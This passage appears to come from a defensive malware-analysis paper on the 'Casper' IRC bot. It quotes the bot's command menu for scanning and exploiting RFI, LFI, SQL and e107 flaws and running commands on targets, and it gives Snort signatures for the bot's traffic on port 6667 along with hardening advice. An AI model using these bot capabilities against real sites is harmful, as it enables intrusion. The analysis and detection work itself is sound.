1982 $hcspr."scan <bug> | <dork> | <E2>|<80>|<A2> Memulai scanner & Eksploti RFI & LFI ",
1983 $hcspr."xml <bug> | <dork> | <E2>|<80>|<A2> Memulai scanner & Eksploti XML ",
1984 $hcspr."e107 <bug> | <dork> | <E2>|<80>|<A2> Memulai scanner & Eksploti e107 RCE ",
1985 $hcspr."sql <bug> | <dork> | <E2>|<80>|<A2> Memulai scanner & Eksploti SQL ",
1986 $hcspr."sql -h <E2>|<80>|<A2> Melihat bantuan scemafuze SQLite ",
1987 $hlogo."milw0rm <keywords> <E2>|<80>|<A2> Mencari daftar bug di milw0rm ",
1988 $hlogo."cmdlfi <LFI target> <comand> | <E2>|<80>|<A2> execute target LFI ",
1989 $hlogo."cmdrfi <RFI target> <comand> | <E2>|<80>|<A2> execute target RFI ",
1990 $hlogo."cmdxml <XML target> <comand> | <E2>|<80>|<A2> execute target XML ",
1991 $hlogo."cmdm107 <XML target> <comand> | <E2>|<80>|<A2> execute target e107 RCE ",
1992 $hlogo."ip <ip> | <E2>|<80>|<A2> cek ip",
1993 $hlogo."ip <ip> | <E2>|<80>|<A2> cek zip/post code",
1994 $hlogo."ip <ip> | <E2>|<80>|<A2> cek zip/post code",
1995 $hlogo."ip <ip> | <E2>|<80>|<A2> cek zip/post code",
1996 $hlogo."ip <ip> | <E2>|<80>|<A2> cek zip/post code",
1997 $hlogo."ip <ip> | <E2>|<80>|<A2> cek zip/post code",
1998 $hlogo."ip <ip> | <E2>|<80>|<A2> cek zip/post code",
1999 $hlogo."ip <ip> | <E2>|<80>|<A2> cek zip/post code",
40 port ==> "6667",

We also know in this case that the commands will be sent on the standard IRC port of 6667, sample signatures are below. This port could be changed by the author, but this sample uses the default port.

alert tcp $HOME_NET any -> $EXTERNAL_NET 6667 (msg:"Casper command and control traffic"; flow:to_server,established; content:"sqli " nocase; pcre:"/s*sql/smi"; metadata:policy classtype:trojan-activity; sid:xxxxxxx; rev:xx;)

alert tcp $HOME_NET any -> $EXTERNAL_NET 6667 (msg:"Casper command and control traffic"; flow:to_server,established; content:"cek "; nocase; pcre:"/s*cek/smi"; metadata:policy classtype:trojan-activity; sid:xxxxxxx; rev:xx;)

There are three additional help sections that could be used to create even more signatures if needed. The specific signatures that could be created from the information in the help files will assist containment of the original infection.


Dan O'Connor, legacyboy@gmail.com
2014 $hlogo."rfipid <perintah> <E2><80><A2> Mengganti RFI & LFI & XML & SQL PID 
);

2.7. Bundled Applications

Collected with the sample was two open source applications, psyBNC and Eggdrop. Eggdrop can be downloaded from http://www.eggheads.org. After examination of the scripts it appears that the sample was collected before eggdrop could be configured.

PsyBNC is a IRC bouncer that can be used to maintain a connection to an IRC server and even preform encryption of the session. This application was also not configured to be used by any of the scripts, several of them had blank configuration options referring to it.

3. Conclusion

Using a simple Google search string looking for various headings inside the casper.txt and scan.txt scripts. There are nearly one thousand sites hosting a .txt file with matching contents as of April 2011. Using publicly available records, in July 2010 a single web server recorded 65,579 user agents of “MaMa CaSpEr” and 25,844 with “Casper Bot Search”. User counts as of April 2011 these user agents no longer make the top 15. (Netsabes, 2010)

Network egress filtering would be extremely effective at reducing of risk associated with this attack. Removing unneeded applications, general OS hardening and using a minimal system such as a FreeBSD service jail would further reduce the risk.

Surprisingly the detection ration of the binaries and scripts was very poor. It has almost been a full year since the samples were collected, and only four of the scripts had a greater then %50 detection ratio.

The information collected during the investigation is enough to keep the

Dan O'Connor, legacyboy@gmail.com
compromised host online and isolated while a full recovery is executed. While it would be possible to use the information collected to delete the dropped scripts and backdoors. Once control of a host has been lost, it should no longer be trusted. The most effective recovery would be to restore from the last known good backup to a new machine, harden and replace the compromised host.

4. References


Dan O'Connor, legacyboy@gmail.com
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